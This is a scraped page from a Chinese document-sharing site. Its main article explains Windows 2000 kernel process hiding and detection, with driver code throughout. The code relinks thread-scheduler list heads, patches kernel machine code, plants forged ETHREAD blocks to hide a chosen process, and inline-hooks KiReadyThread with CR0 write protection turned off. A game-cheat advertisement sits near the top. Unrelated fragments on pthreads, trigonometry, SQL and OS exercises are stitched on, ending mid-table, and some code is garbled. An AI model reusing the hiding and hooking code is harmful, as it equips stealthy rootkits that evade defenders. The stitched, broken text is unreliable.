搜档网
当前位置:搜档网 › NT内核级进程隐藏3-线程调度链表及Hook 内核函数

NT内核级进程隐藏3-线程调度链表及Hook 内核函数

NT内核级进程隐藏3-线程调度链表及Hook 内核函数
NT内核级进程隐藏3-线程调度链表及Hook 内核函数

NT内核级进程隐藏3-线程调度链表及Hook内核函数

基于线程调度链表的检测和隐藏技术

1.什么是ETHREAD和KTHREAD块

学习各种外挂制作技术,马上去百度搜索"魔鬼作坊"点击第一个站进入、快速成为做挂达人。

Windows2000是由执行程序线程(ETHREAD)块表示的,ETHREAD成员都是指向的系统空间,进程环境块(TEB)除外。ETHREAD块中的第一个结构体就是内核线程(KTHREAD)块。在KTHREAD块中包含了windows2000内核需要访问的信息。这些信息用于执行线程的调度和同步正在运行的线程。

kd>!kthread

struct_KTHREAD(sizeof=432)

+000struct_DISPA TCHER_HEADER Header

+010struct_LIST_ENTRY MutantListHead

+018void*InitialStack

+01c void*StackLimit

+020void*Teb

+024void*TlsArray

+028void*KernelStack

+02c byte DebugActive

+02d byte State

+02e byte Alerted[2]

+030byte Iopl

+031byte NpxState

+032char Saturation

+033char Priority

+034struct_KAPC_STATE ApcState

+034struct_LIST_ENTRY ApcListHead[2] +044struct_KPROCESS*Process

+04c uint32ContextSwitches

+050int32WaitStatus

+054byte WaitIrql

+055char WaitMode

+056byte WaitNext

+057byte WaitReason

+058struct_KWAIT_BLOCK*WaitBlockList +05c struct_LIST_ENTRY WaitListEntry

+064uint32WaitTime

+068char BasePriority

+069byte DecrementCount

+06a char PriorityDecrement

+06b char Quantum

+06c struct_KWAIT_BLOCK WaitBlock[4] +0cc void*LegoData

+0d0uint32KernelApcDisable

+0d4uint32UserAffinity

+0d8byte SystemAffinityActive

+0d9byte PowerState

+0da byte NpxIrql

+0db byte Pad[1]

+0dc void*ServiceTable

+0e0struct_KQUEUE*Queue

+0e4uint32ApcQueueLock

+0e8struct_KTIMER Timer

+110struct_LIST_ENTRY QueueListEntry

+118uint32Affinity

+11c byte Preempted

+11d byte ProcessReadyQueue

+11e byte KernelStackResident

+11f byte NextProcessor

+120void*CallbackStack

+124void*Win32Thread

+128struct_KTRAP_FRAME*TrapFrame

+12c struct_KAPC_STATE*ApcStatePointer[2] +134char PreviousMode

+135byte EnableStackSwap

+136byte LargeStack

+137byte ResourceIndex

+138uint32KernelTime

+13c uint32UserTime

+140struct_KAPC_STATE SavedApcState

+158byte Alertable

+159byte ApcStateIndex

+15a byte ApcQueueable

+15b byte AutoAlignment

+15c void*StackBase

+160struct_KAPC SuspendApc

+190struct_KSEMAPHORE SuspendSemaphore

+1a4struct_LIST_ENTRY ThreadListEntry

+1ac char FreezeCount

+1ad char SuspendCount

+1ae byte IdealProcessor

+1af byte DisableBoost

在偏移0x5c处有一个WaitListEntry成员,这个就是用来链接到线程调度链表的。在偏移0x34处有一个ApcState成员结构,在ApcState中的Process域就是指向当前线程关联的进程的KPROCESS块,由于KPROCESS块是EPROCESS块的第一个元素,所以找到了KPROCESS块指针也就是找到了EPROCESS块的指针。找到了EPROCESS就不用多少了,就可以取得当前线程的进程的名字,ID号等。

2.线程调度

在windows系统中,线程调度主要分成三条主要的调度链表。分别是KiWaitInListHead,

KiWaitOutListhead,KiDispatcherReadyListHead,分别是两条阻塞链,一条就绪链表,当线程获得CPU执行的时候,系统分配一个时间片给线程,当发生一次时钟中断就从分配的时间片上减去一个时钟中断的值,如果这个值小于零了也就是时间片用完了,那么这个线程根

据其优先级载入到相应的就绪队列末尾。

KiDispatcherReadyListHead是一个数组链的头部,在windows2000中它包含有32个队列,分别对应线程的32个优先级。如果线程因为同步,或者是对外设请求,那么阻塞线程,让出CPU的所有权,加如到阻塞队列里面去。CPU从就绪队列里面,按照优先权的前后,重新调度新的线程的执行。当阻塞队列里面的线程获得所需求的资源,或者是同步完成就又重新加到就绪队列里面等待执行。

3.通过线程调度链表进行隐藏进程的检测

void DisplayList(PLIST_ENTRY ListHead)

{

PLIST_ENTRY List=ListHead->Flink;

if(List==ListHead)

{

//DbgPrint("return\n");

return;

}

PLIST_ENTRY NextList=List;

while(NextList!=ListHead)

{

PKTHREAD Thread=ONTAINING_RECORD(NextList,KTHREAD,WaitListEntry); PKPROCESS Process=Thread->ApcState.Process;

PEPROCESS pEprocess=(PEPROCESS)Process;

DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);

NextList=NextList->Flink;

}

}

以上是对一条链进行进程枚举。所以我们必须找到KiWaitInListHead,KiWaitOutListhead,KiDispatcherReadyListHead的地址,由于他们都没有被ntoskrnl.exe导出来,所以只有通过硬编码的办法给他们赋值。通过内核调试器,能找到(windows2000sp4):

PLIST_ENTRY KiWaitInListHead=(PLIST_ENTRY)0x80482258;

PLIST_ENTRY KiDispatcherReadyListHead=(PLIST_ENTRY)0x804822e0;

PLIST_ENTRY KiWaitOutListhead=(PLIST_ENTRY)0x80482808;

遍历所有的线程调度链表。

for(i=0;i<32;i++)

{

DisplayList(KiDispatcherReadyListHead+i);

}

DisplayList(KiWaitInListHead);

DisplayList(KiWaitOutListhead);

通过上面的那一小段核心代码就能把删除活动进程链表的隐藏进程给查出来。也可以改写一个友好一点的驱动,加入IOCTL,得到的进程信息把打印在DbgView中把它返回给Ring3的应用程序,然后应用程序对返回的数据进行处理,和Ring3级由PSAPI得到的进程对比,然后判断是不是有隐藏的进程。

4.绕过内核调度链表隐藏进程。

Xfocus上SoBeIt提出了绕过内核调度链表进程检测。详情可以参见原文: https://www.sodocs.net/doc/161902182.html,/articles/200404/693.html

由于现在的基于线程调度的检测系统都是通过内核调试器得硬编码来枚举所有的调度

线程的,所以我们完全可以自己创造一个那三个调度链表头,然后把原链表头从链中断开,把自己的申请的链表头接上去。由于线程调度的时候会用到KiFindReadyThread等内核API,在KiFindReadyThread里面又会去访问KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段访问KiDispatcherReadyListHead的机器码修改了,把原KiDispatcherReadyListHead的地址改成我们新申请的头。

kd>u KiFindReadyThread+0x48

nt!KiFindReadyThread+0x48:

804313db8d34d5e0224880lea esi,[nt!KiDispatcherReadyListHead(804822e0)+edx*8]

很明显我们可以在机器码中看到e0224880,由于它是在内存中以byte序列显示的转换成DWORD就是804822e0就是我们KiDispatcherReadyListHead的地址。所以我们要做的就是把[804313db+3]赋值成我们自己申请的一个链头。使其系统以后对原链表头的操作变化成对我们自己申请的链表头的操作。同理用到那三个链表头的还有一些内核API,所以必须找到他们在机器码中含有原表头地址信息的具体地址然后把它全部替换掉。不然系统调度就会出错.系统中用到KiWaitInListHead的例程:KeWaitForSingleObject、KeWaitForMultipleObject、KeDelayExecutionThread、KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。

申请新的表头空间:

pNewKiWaitInListHead=(PLIST_ENTRY)ExAllocatePool\

(NonPagedPool,sizeof(LIST_ENTRY));

pNewKiWaitOutListHead=(PLIST_ENTRY)ExAllocatePool\

(NonPagedPool,sizeof(LIST_ENTRY));

pNewKiDispatcherReadyListHead=(PLIST_ENTRY)ExAllocatePool\

(NonPagedPool,32*sizeof(LIST_ENTRY));

下面仅仅以pNewKiWaitInListHead头为例,其他的表头都是一样的操作。

新调度链表的表头替换:

InitializeListHead(pNewKiWaitInListHead);

把原来的系统链表头摘除,把新的接上去:

pFirstEntry=pKiWaitInListHead->Flink;

pLastEntry=pKiWaitInListHead->Blink;

pNewKiWaitInListHead->Flink=pFirstEntry;

pNewKiWaitInListHead->Blink=pLastEntry;

pFirstEntry->Blink=pNewKiWaitInListHead;

pLastEntry->Flink=pNewKiWaitInListHead;

剩下的就是在原来的线程调度链表上做文章了使其基于线程调度检测系统看不出什么异端.

for(;;)

{

InitializeListHead(pKiWaitInListHead);

for(pEntry=pNewKiWaitInListHead->Flink;

pEntry&&pEntry!=pNewKiWaitInListHead;

pEntry=pEntry->Flink)

{

pETHREAD=(PETHREAD)(((PCHAR)pEntry)-0x5c);

pEPROCESS=(PEPROCESS)(pETHREAD->Tcb.ApcState.Process);

PID=*(PULONG)(((PCHAR)pEPROCESS)+0x9c);

if(PID==0x8)

continue;

pFakeETHREAD=ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));

memcpy(pFakeETHREAD,pETHREAD,sizeof(FAKE_ETHREAD));

InsertHeadList(pKiWaitInListHead,&pFakeETHREAD->WaitListEntry);

}

...休息一段时间

}

首先每过一小段时间就把原来的线程调度链表清空,然后遍历当前的线程调度链,判断链中的每一个KPROCESS块是不是要属于要隐藏的进程线程,如果是就跳过,不是就自己构造一个ETHREAD块把当前的信息拷贝过去,然后把自己构造的ETHREAD块加入到原来的调度链表中。为什么要自己构造一个ETHREAD?其原因主要有2个,其一为了使检测系统看起来更可信,如果仅仅清空原来的线程调度链表那么检测系统将查不出来任何的线程和进程信息,

很明显,这无疑不打自招的说,系统里面已经有东西了。其二,如果把自己构造的ETHREAD块挂接在原调度链表中,检测系统会访问挂在原来调度链表上的ETHREAD块里面的成员,如果不自己构造一个和真实ETHREAD块重要信息一样的块,那么检测系统很有可能出现非法访问,然后就boom兰屏了。

实际上所谓的绕过系统检测仅仅是针对基于线程调度的检测进程的防御系统而言的,其实系统依旧在进行线程调度,访问的是我们新建的链表头部。而检测系统访问的是原来的头部,他后面的数据项是我们自己申请的,系统并不访问。

5.检测绕过内核调度链表隐藏进程

一般情况下我们是通过内核调试器得到那三条链表的内核地址,然后进行枚举。这就给隐藏者留下了机会,如上面所示。但是我们完全可以把上面那种隐藏进程检测出来。我们也通过在内核函数中取得硬编码的办法来分别取得他们的链表头的地址。如上面我们已经看见了KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的绕过内核调度链表检测办法同时也去要修改KiFindReadyThread+0x48+3的值为新链表的头部地址。所以我们的检测系统完全可以从KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead,KiWaitOutListhead也都到使用他们的相应的内核函数里面去取得地址。就算原地址被修改过,我们也能把修改过后的调度链表头给找出来。所以欺骗就不行了。

Hook内核函数(KiReadyThread)检测进程

1.介绍通用Hook内核函数的方法

当我们要拦截目标函数的时候,只要修改原函数头5个字节的机器代码为一个JMP

XXXXXXXX(XXXXXXXX是距自己的Hook函数的偏移量)就行了。并且保存原来修改前的5个字节。在跳入原函数时,恢复那5个字节即可。

char JmpMyCode[]={0xE9,0x00,0x00,0x00,0x00};//E9对应Jmp偏移量指令

*((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//获得偏移量memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原来的代码

memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆盖前一个命令为一个跳转指令

在系统内核级中,MS的很多信息都没公开,包括函数的参数数目,每个参数的类型等。在系统内核中,访问了大量的寄存器,而很多寄存器的值,是上层调用者提供的。如果值改变系统就会变得不稳定。很可能出现不可想象的后果。另外有时候对需要Hook的函数的参数不了解,所以不能随便就去改变它的堆栈,如果不小心也有可能导致蓝屏。所以Hook的最佳原则是在自己的Hook函数中呼叫原函数的时候,所有的寄存器值,堆栈里面的值和Hook前的信息一样。这样就能保证在原函数中不会出错。一般我们自己的Hook的函数都是写在C文件里面的。例如Hook的目标函数KiReadyThread。那么一般就自己实现一个:

MyKiReadyThread(...)

{

......

call KiReadyThread

......

}

但是用C编译器编译出来的代码会出现一个堆栈帧:

Push ebp

mov ebp,esp

这就和我们的初衷不改变寄存器的数违背了。所以我们可以自己用汇编来实MyKiReadyThread。

_MyKiReadyThread@0proc

pushad;保存通用寄存器

call_cfunc@0;这里是在进入原来函数前进行的一些处理。

popad;恢复通用寄存器

push eax

mov eax,[esp+4];得到系统在call目标函数时入栈的返回地址。

mov ds:_OrgRet,eax;保存在一个临时变量中

pop eax

mov[esp],retaddr;把目标函数的返回地址改成自己的代码空间的返回地址,使其返回后能接手继续的处理

jmp_OrgDestFunction;跳到原目标函数中

retaddr:

pushad;原函数处理完后保存寄存器

call_HookDestFunction@0;再Hook

popad;回复寄存器

jmp ds:_OrgRet;跳到系统调用目标函数的下一条指令。

_MyKiReadyThread@0endp

在实现了Hook过后在当调用原来的函数时(jmp_OrgDestFunction),这个时候所以寄存器的值和堆栈信息和没Hook的时候一样。在返回到系统的时候(jmp ds:_OrgRet),这个时候的堆栈信息和寄存器的值和没有Hook的时候也是一样。就说是中间Hook层对下面和上面都是透明的。

2.检测隐藏进程

在线程调度抢占的的时候会调用KiReadyThread,它的原型为:

VOID FASTCALL KiReadyThread(IN PRKTHREAD Thread);

在进入KiReadyThread时,ecx指向Thread。所以完全可以Hook KiReadyThread然后用ecx的值得到但前线程的进程信息。KiReadyThread没被ntosknrl.exe导出,所以通过硬编码来。在2000Sp4中地址为0x8043141f。

void cfunc(void)

{

ULONG PKHeader=0;

__asm

{

mov PKHeader,ecx//ecx寄存器是KiReadyThread中的PRKTHREAD参数

}

ResumeDestFunction();//恢复头5个字节

if(PKHeader!=0)

{

DisplayName((PKTHREAD)PKHeader);

}

}

cfun是Hook函数调用用来得到当前线程抢占的进程信息的。

void DisplayName(PKTHREAD Thread)

{

PKPROCESS Process=Thread->ApcState.Process;

PEPROCESS pEprocess=(PEPROCESS)Process;

DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);

}

void HookDestFunction()//设置头个字节为一个跳转指令,跳到自己的函数中去

{

DisableWriteProtect(&orgcr0);

memcpy((char*)OrgDestFunction,JmpMyCode,5);

EnableWriteProtect(orgcr0);

}

void ResumeDestFunction()//恢复头5个字节

{

DisableWriteProtect(&orgcr0);

memcpy((char*)OrgDestFunction,OrgCode,5);

EnableWriteProtect(orgcr0);

}

除了KiReadyThread其他还可以Hook其他内核函数,只有hook过后能得到线程或者是进程的ETHREAD或者是EPROCESS结构头地址。其Hook的方法都是一样的。Hook KiReadyThread基本原来说明了。

以上对内核级进程隐藏和侦测做了一个总结和对每一种方法的原理进行的详细阐述,并给出了核心的实现代码。

Linux多线程编程的基本的函数

Posix线程编程指南(一) 线程创建与取消 这是一个关于Posix线程编程的专栏。作者在阐明概念的基础上,将向您详细讲述Posix线程库API。本文是第一篇将向您讲述线程的创建与取消。 线程创建 1.1 线程与进程 相对进程而言,线程是一个更加接近于执行体的概念,它可以与同进程中的其他线程共享数据,但拥有自己的栈空间,拥有独立的执行序列。在串行程序基础上引入线程和进程是为了提高程序的并发度,从而提高程序运行效率和响应时间。 线程和进程在使用上各有优缺点:线程执行开销小,但不利于资源的管理和保护;而进程正相反。同时,线程适合于在SMP机器上运行,而进程则可以跨机器迁移。 1.2 创建线程 POSIX通过pthread_create()函数创建线程,API定义如下: 与fork()调用创建一个进程的方法不同,pthread_create()创建的线程并不具备与主线程(即调用pthread_create()的线程)同样的执行序列,而是使其运行 start_routine(arg)函数。thread返回创建的线程ID,而attr是创建线程时设置的线程属性(见下)。pthread_create()的返回值表示线程创建是否成功。尽管arg是void *类型的变量,但它同样可以作为任意类型的参数传给start_routine()函数;同时,start_routine()可以返回一个void *类型的返回值,而这个返回值也可以是其他类型,并由pthread_join()获取。 1.3 线程创建属性 pthread_create()中的attr参数是一个结构指针,结构中的元素分别对应着新线程的运行属性,主要包括以下几项: __detachstate,表示新线程是否与进程中其他线程脱离同步,如果置位则新线程不能用pthread_join()来同步,且在退出时自行释放所占用的资源。缺省为 PTHREAD_CREATE_JOINABLE状态。这个属性也可以在线程创建并运行以后用pthread_detach()来设置,而一旦设置为PTHREAD_CREATE_DETACH状态(不论是创建时设置还是运行时设置)则不能再恢复到PTHREAD_CREATE_JOINABLE状态。

三角函数公式大全81739

三角函数公式大全三角函数定义 函数关系 倒数关系: 商数关系: 平方关系: . 诱导公式 公式一:设为任意角,终边相同的角的同一三角函数的值相等: 公式二:设为任意角,与的三角函数值之间的关系:

公式三:任意角与的三角函数值之间的关系: 公式四:与的三角函数值之间的关系: 公式五:与的三角函数值之间的关系: 公式六:及与的三角函数值之间的关系: 记背诀窍:奇变偶不变,符号看象限.即形如(2k+1)90°±α,则函数

名称变为余名函数,正弦变余弦,余弦变正弦,正切变余切,余切变正切。形如2k×90°±α,则函数名称不变。 诱导公式口诀“奇变偶不变,符号看象限”意义: k×π/2±a(k∈z)的三角函数值.(1)当k为偶数时,等于α的同名三角函数值,前面加上一个把α看作锐角时原三角函数值的符号; (2)当k为奇数时,等于α的异名三角函数值,前面加上一个把α看作锐角时原三角函数值的符号。 记忆方法一:奇变偶不变,符号看象限: 其中的奇偶是指的奇偶倍数,变余不变试制三角函数的名称变化若变,则是正弦变余弦,正切变余切------------------奇变偶不变 根据教的范围以及三角函数在哪个象限的争锋,来判断三角函数的符号-------------符号看象限 记忆方法二:无论α是多大的角,都将α看成锐角. 以诱导公式二为例: 若将α看成锐角(终边在第一象限),则π十α是第三象限的角(终 边在第三象限),正弦函数的函数值在第三象限是负值,余弦函数的函数 值在第三象限是负值,正切函数的函数值在第三象限是正值.这样,就得 到了诱导公式二. 以诱导公式四为例: 若将α看成锐角(终边在第一象限),则π-α是第二象限的角(终 边在第二象限),正弦函数的三角函数值在第二象限是正值,余弦函数的 三角函数值在第二象限是负值,正切函数的三角函数值在第二象限是负 值.这样,就得到了诱导公式四. 诱导公式的应用:运用诱导公式转化三角函数的一般步骤: 特别提醒:三角函数化简与求值时需要的知识储备:①熟记特殊角 的三角函数值;②注意诱导公式的灵活运用;③三角函数化简的要求是项 数要最少,次数要最低,函数名最少,分母能最简,易求值最好。

linux 线程调度

Linux内核的三种调度策略: 1,SCHED_OTHER 分时调度策略, 2,SCHED_FIFO实时调度策略,先到先服务.一旦占用cpu则一直运行.一直运行直到有更高优先级任务到达或自己放弃 3,SCHED_RR实时调度策略,时间片轮转.当进程的时间片用完,系统将重新分配时间片,并置于就绪队列尾.放在队列尾保证了所有具有相同优先级的RR任务的调度公平Linux线程优先级设置 ,可以通过以下两个函数来获得线程可以设置的最高和最低优先级,函数中的策略即上述三种策略的宏定义: int sched_get_priority_max(int policy); int sched_get_priority_min(int policy); SCHED_OTHER是不支持优先级使用的,而SCHED_FIFO和SCHED_RR支持优先级的使用,他们分别为1和99,数值越大优先级越高. 设置和获取优先级通过以下两个函数: int pthread_attr_setschedparam(pthread_attr_t *attr, const struct sched_param *param); int pthread_attr_getschedparam(const pthread_attr_t *attr, struct sched_param *param); 例如以下代码创建了一个优先级为10的线程: struct sched_param {

int __sched_priority; //所要设定的线程优先级 }; 例:创建优先级为10的线程 pthread_attr_t attr; struct sched_param param; pthread_attr_init(&attr); pthread_attr_setschedpolicy(&attr, SCHED_RR); param.sched_priority = 10; pthread_attr_setschedparam(&attr, ¶m); pthread_create(xxx , &attr , xxx , xxx); pthread_attr_destroy(&attr); 本文来自CSDN博客,转载请标明出处: 内核线程、轻量级进程、用户线程和LinuxThreads库(2010-04-22 10:20:07) 转载 标签: 杂谈 内核线程

进程作业(附答案)

第二章进程管理 程序在顺序执行(①顺序性:每个操作必须在下一个操作开始之前结束。 ②封闭性:程序一旦开始运行,独占全部资源,其执行结果不受外界因素影响。 ③可再现性:当程序重复执行时,只要程序执行的环境和初始条件相同,必将获得相同的结果。)时和并发执行(并发、资源共享、制约关系和动态等特征)时,分别具有哪些特征什么叫进程(进程是一个具有一定独立功能的程序关于某个数据集合的一次运行活动。)为什么要引入进程的概念 1.进程的基本特征是什么(动态、共行、独立)?请叙述进程与程序的关系和差别 2.进程有哪几种基本状态请画出各状态之间的状态变化图并说明状态转换的典型原因 3.什么是PCB包含哪些主要内容其作用是什么(是使一个在多道程序环境下不能独立运行的程 序(含数据),成为一个能独立运行的基本单位,一个能与其它进程并发执行的进程。)(为什么说PCB是进程存在的唯一标志) 4.下列哪些情况是对的: ⑴进程由自己创建⑷进程由于自己解除挂起 ⑵进程由于自己阻塞⑸进程由于自己唤醒 ⑶进程由于自己挂起⑹进程由自己撤消 5.请解释忙等待与阻塞的区别。 6.用进程状态变迁图,我们可以说明有关处理机管理的大量内容, ⑴什么“事件”引起每次显着的状态变迁 ⑵当人们观察系统中所有进程时,我们能够看到由某一进 下,进程变迁3能立即引起一进程的变迁1发生 ⑶在什么情况下,如果有的话,将发生下述因果变迁: 21; 32; 41 ⑷在什么情况下,如果有的话,下述变迁不会立即引起其 它变迁发生 a) 1; b) 2; c) 3; d) 4 7.操作系统的内核是什么 8.原语与非内核程序在执行上有什么不同 9.什么是进程的控制包括哪些基本内容(进程的创建,进程的撤消,进程的阻塞,进程的唤醒,进程的 挂起,进程的激活,改变进程的优先级…等) 10.什么是线程试说明进程与线程的关系与区别。 11.并发进程间的制约有哪两种引起制约的原因是什么 12.我们说程序的并发执行将导致最终失去封闭性.这话对所有的程序都成立吗试举例说明. 13.什么叫与时间有关的错误与时间有关的错误表现在哪些方面请举例说明之. 14.什么是进程间的互斥什么是进程间的同步这两个概念有何区别 15.考虑一台计算机,它没有TEST AND SET LOCK指令,但可以按原子操作方式将一个寄存器的内 容与另一个存储器字进行交换,是否能利用该指令写一个达到互斥的例程 16.什么叫临界资源什么叫临界段对临界区的管理应符合哪些原则你能用什么工具去写进程间 互斥的同步算法书写该算法时应注意什么问题 17.下面是两个并发执行的进程,它们能正确运行吗若不能正确运行,请举例说明,并改正之(X是定 义的公共变量). Cobegin var x:integer; procedure P1 procedure P2 var y,z:integer; var t,u:integer; begin begin x:=1; x:=0; y:=0; t:=0; if x>=1 then y:=y+1; if x<1 then t:=t+2; z:=y u:=t end; end; coend; 18.因修路使A地到B地的多路并行车道变为单车道,请问在此问题中,?什么是临界资源什么是临 界段

数据库常用函数汇总统计

实验二(续):利用SQL语句查询 三、常用库函数及统计汇总查询 1、求学号为 S1学生的总分和平均分; select sum(score) as TotalScore,avg(score)as AveScore from sc where sno='S1' 2、求选修 C1号课程的最高分、最低分及之间相差的分数; select max(score)as MaxScore, min(score)as MinScore, max(score)- min(score)as diff from sc where cno='C1' 3、求选修 C1号课程的学生人数和最高分; select count(distinct sno),max(score) from sc where cno='C 1' 4、求计算机系学生的总数; select count(sno) from s where dept=' 计算机 ' 5、求学校中共有多少个系; select count(distinct dept) as DeptNum from s 6、统计有成绩同学的人数; select count(score) from sc 7、利用特殊函数 COUNT(*)求计算机系学生的总数; select count(*) from s where dept=' 计算机 '

8、利用特殊函数 COUNT(*)求女学生总数和平均年龄;select count(*),avg(age) from s where sex=' 女 ' 9、利用特殊函数 COUNT(*)求计算机系女教师的总数。select count(*) from t where dept=' 计算机 'and sex=' 女 ' 四、分组查询及排序 1、查询各个教师的教师号及其任课门数; select tno,count(*)as c_num from tc group by tno 2、按系统计女教师的人数; select dept,count(tno) from t where sex=' 女 ' group by dept 3、查询选修两门以上课程的学生的学号和选课门数;select sno,count(*)as sc_num from sc group by sno having count(*)>2 4、查询平均成绩大于 70分的课程号和平均成绩; select cno,avg(score) from sc group by cno having avg(score)>70 5、查询选修 C1的学生学号和成绩,并按成绩降序排列;select sno,score

实验二线程的创建

实验二创建线程 一、实验目的 1. 通过创建线程、观察正在运行的线程和终止线程的程序设计和调试操作,进一步熟悉操作系统的线程概念,理解进程与线程之间的关系。 2. 通过阅读和分析实验程序,学习创建线程、观察线程和终止线程的程序设计方法。 二、实验内容 1. 创建线程 创建线程并因而成就一个多线程程序,是以CreateThread()作为一切行动的开始.此函数的原型如下: HANDLE CreateThread{ LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId}; 如果CreateThread()成功,返回一个新创建的线程的handle。 如果CreateThread()失败,返回一个NULL。可以调用GetLastError()获知原因。

2. 终止线程 线程结束代码可以依靠调用GetExitCodeThread()完成。 BOOL GetExitCodeThread{ HANDLE hThread, /*由CreateThread()传回的线程handle*/ LPDWORD lpExitCode /*指向一个DWORD,用于接受结束代码*/ }; 如果成功,GetExitCodeThread()传回TRUE,否则传回FALSE.如果线程已结束,那么线程的结束代码会被放在lpExitCode参数中带回来.如果线程尚未结束,lpExitCode带回来的值是STILL_ACTIVE。 如果需要用更强制性的手法结束一个线程,可以使用ExitThread()。 三、实验步骤 (1)开启五个线程,设计一个基于Win32多线程应用程序。 (2)基于Win32多线程应用程序,启动两个线程,当用户按下任意键时,试图退出。 (3)验证Thread 使用自己的 Stack 存放 function 中的 local variable。四.程序设计 (1)声明线程标准函数形式,创建等待对象的句柄hThrd,创建接收新线程ID的DWORD变量。进行for循环,执行线程内容ThreadFunc并返回每个核心对象hThrd。之后等待线程全部完成,结束程序。 (2)声明线程标准函数形式,创建等待对象的句柄hThrd1、hThrd2,创建获取线程退出代码的exitCode1、exitCode2,创建接收新线程ID的DWORD变量。执行线程内容ThreadFunc并返回每个核心对象hThrd并输出相关提示信息。进行for循环,接收用户按下的任意键信息,调用GetExitCodeThread等待一个线程的结束,使用GetExitCodeThread传回线程函数ThreadFunc的返回值。函数中用一个死循环,保证两个线程能够完整的运行完成,getch()函数接收用户输入,尝试打断线程,但后面代码保护了线程的继续执行,直至两个线程都执行完成,输出各自的返回值并退出。 (3)验证性程序。

线程创建与通信实验报告

实验报告 课程名称:现代软件技术实验名称:线程创建与通信实验人: 专业: 实验时间:

目录 一、实验目的 (3) 二、实验内容 (3) 1、基本要求 (3) 2、提高要求 (3) 三、需求分析 (3) 1、功能分析........................................................................................... 错误!未定义书签。 2、其它分析........................................................................................... 错误!未定义书签。 四、总体设计 (3) 1、数据结构设计(或类设计:数据成员设计、成员函数设计) (3) 2、软件总体结构设计 (3) 3、主程序流程设计 (3) 4、界面设计 (4) 五、详细设计 (5) 1、循环链表基本操作:....................................................................... 错误!未定义书签。 六、编码实现 (5) 1、循环链表基本操作........................................................................... 错误!未定义书签。 七、测试及分析 (7) 1、测试用例列表 (7) 2、出现的错误、解决方法与回归测试 (7) 八、实验总结 (8)

一、实验目的 掌握线程创建方法,实现线程间数据通信。 二、实验内容 1、基本要求:创建多个线程,实现线程间数据通信。 2、提高要求: (1)通过信号量机制实现线程的并发执行; (2)通过信号量机制控制屏幕输出; (3)生产者消费者问题; (4)创建多个进程,实现进程间通信。 三、需求分析 完成如下程序框图的程序: 图1 所需完成程序的程序框图 四、总体设计 1、数据结构设计 主线程和子线程之间的数据传递通过简单的int类型变量对同一个文件进行读入写出完成。 2、软件总体结构设计 通过设计两个线程函数:主线程函数main()和EventFunction()构成 3、主程序流程设计 程序流程图见图2。

三角函数值表

三角函数值表 三角函数 单位圆(及半径的圆)在三角函数的学习中具有举足轻重的地位。我们可以利用单位圆来定义三角函数、求解三角函数问题。在解决三角函数问题的过程中,单位圆是一个非常有用的工具。 设角的终边与单位圆(此处是以原点为圆心)交于点,则有 正弦:,余弦: 正切:,余切: 正割:,余割: (二)反三角函数 反三角函数是一种基本初等函数,它包括反正弦、反余弦、反正切、反余切、反正割、反余割,他们各自表示其正弦、余弦、正切、余切、正割、余割为时的角。例如,当时,;当时,,具体如,。 反三角函地并不能狭义地理解为三角函数的反函数。三角函数的反函数不是单值函数,因为它并不满足一个自变量对应一个函数值的要求,其图像与其原函数关于函数对称。 三、同角三角函数基本关系 1.倒数关系: 2.商的关系:

3.平方关系: 四、三角函数的诱导公式 诱导公式记忆口诀:“奇变偶不变,符号看象限”.此处仅列出了几个易混的诱导公式,过于常规的就没有列出。个人认为,只需记住与、、的三角函数值关系,便可推出所有的诱导公式。 1.任意角与的三角函数值之间的关系: 2.任意角α与-α的三角函数值之间的关系: 3.任意角与的三角函数值之间的关系: 4.任意角与的的三角函数值之间的关系: 五、三角函数的和差角公式

六、倍角公式和半角公式 1.倍角公式 变形: 2.三倍角公式 3.半角公式(也叫降幂公式) 4.升幂公式 七、积化和差与和差化积公式 1.积化和差公式 2.和化积公式 八、万能公式

万能公式是将和均用表示。 九、辅助角公式 得到辅助角公式: 其中与。 又() 从而得到三角函数辅角公式:,;用余弦表示则为:,。 例如,,在实数域上,最大值为,最小值为十、三角函数和反三角函数的导数 十一、反三角函数相关公式 十二、其他常用结论

三角函数值表

三角函数表 第(1)页 共(11)页 角度正弦值余弦值正切值余切值角度正弦值余弦值正切值余切值00.0000 1.00000.0000不存在 0.10.0017 1.00000.0017572.957 4.10.07150.99740.071713.9507 0.20.0035 1.00000.0035286.478 4.20.07320.99730.073413.6174 0.30.0052 1.00000.0052190.984 4.30.07500.99720.075213.2996 0.40.0070 1.00000.0070143.237 4.40.07670.99710.076912.9962 0.50.0087 1.00000.0087114.589 4.50.07850.99690.078712.7062 0.60.01050.99990.010595.4895 4.60.08020.99680.080512.4288 0.70.01220.99990.012281.8470 4.70.08190.99660.082212.1632 0.80.01400.99990.014071.6151 4.80.08370.99650.084011.9087 0.90.01570.99990.015763.6567 4.90.08540.99630.085711.6645 10.01750.99980.017557.290050.08720.99620.087511.4301 1.10.01920.99980.019252.0807 5.10.08890.99600.089211.2048 1.20.02090.99980.020947.7395 5.20.09060.99590.091010.9882 1.30.02270.99970.022744.0661 5.30.09240.99570.092810.7797 1.40.02440.99970.024440.9174 5.40.09410.99560.094510.5789 1.50.02620.99970.026238.1885 5.50.09580.99540.096310.3854 1.60.02790.99960.027935.8006 5.60.09760.99520.098110.1988 1.70.02970.99960.029733.6935 5.70.09930.99510.099810.0187 1.80.03140.99950.031431.8205 5.80.10110.99490.10169.8448 1.90.03320.99950.033230.1446 5.90.10280.99470.10339.6768 20.03490.99940.034928.636360.10450.99450.10519.5144 2.10.03660.99930.036727.2715 6.10.10630.99430.10699.3572 2.20.03840.99930.038426.0307 6.20.10800.99420.10869.2052 2.30.04010.99920.040224.8978 